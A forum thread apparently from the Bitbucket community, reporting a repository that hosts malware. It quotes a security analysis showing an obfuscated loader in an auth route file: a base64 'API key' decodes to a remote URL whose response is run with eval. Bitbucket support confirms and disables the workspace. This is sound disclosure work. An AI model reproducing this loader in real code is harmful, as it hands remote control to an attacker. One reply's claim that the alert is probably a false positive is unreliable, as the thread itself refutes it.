Malware distribution

[sawich]

We got a ticket with another one repository with malware - https://bitbucket.org/demoplatform/demo22 

# Security Analysis Report - Malware Detection

`routes/api/auth.js` (lines 21-32)

```javascript

const AUTH_API_KEY = "aHR0cHM6Ly9tZXRyaWMtYW5hbHl0aWNzLnZlcmNlbC5hcHAvYXBpL2dldE1vcmFsaXNEYXRh";

(async () => {

  const src = atob(AUTH_API_KEY);  // Decodes to: https://metric-analytics.vercel.app/api/getMoralisData

  const proxy = (await import('node-fetch')).default;

  try {

    const response = await proxy(src);

    if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);

    const proxyInfo = await response.text();

    eval(proxyInfo);  // ⚠️ EXECUTES REMOTE CODE

  } catch (err) {

    console.error('Auth Error!', err);

  }

})();

```

[myles y]

That’s definitely a concerning message to see, so it’s good you’re looking into it instead of ignoring it.

In a lot of cases like this, the warning isn’t actually coming from Bitbucket itself but from a browser extension, antivirus, or external security scanner that’s flagging something based on patterns rather than real malicious behavior. Scripts, compiled assets, or even certain strings in code can sometimes trigger false positives.

I’d start by cloning the repo locally and running a trusted malware scan on it. If everything comes back clean, double-check whether the warning still appears in a different browser or with extensions disabled — that can help confirm whether the alert is external.

If you have CI/CD pipelines, webhooks, or other integrations pulling the repo automatically, it’s also worth checking any related tickets proxies or internal alerts tied to those systems, since those tools sometimes generate security messages that get mixed in with platform warnings.

If after all that things still don’t add up, reaching out to Atlassian support is probably the best next step. They can confirm whether Bitbucket has actually flagged the repository or if it’s just a third-party detection. Hopefully it turns out to be a false alarm.

[Ben]

Hi @sawich 

Thank you for raising this to our attention. I shared your community post with our security team, and they identified that this workspace was hosting malware and have promptly disabled it as per our terms of service.

Have a happy holiday!

Regards,

- Ben (Bitbucket Cloud Support)

[marc -Collabello--Phase Locked-]

I've requested assistance from the Atlassian support team for this issue.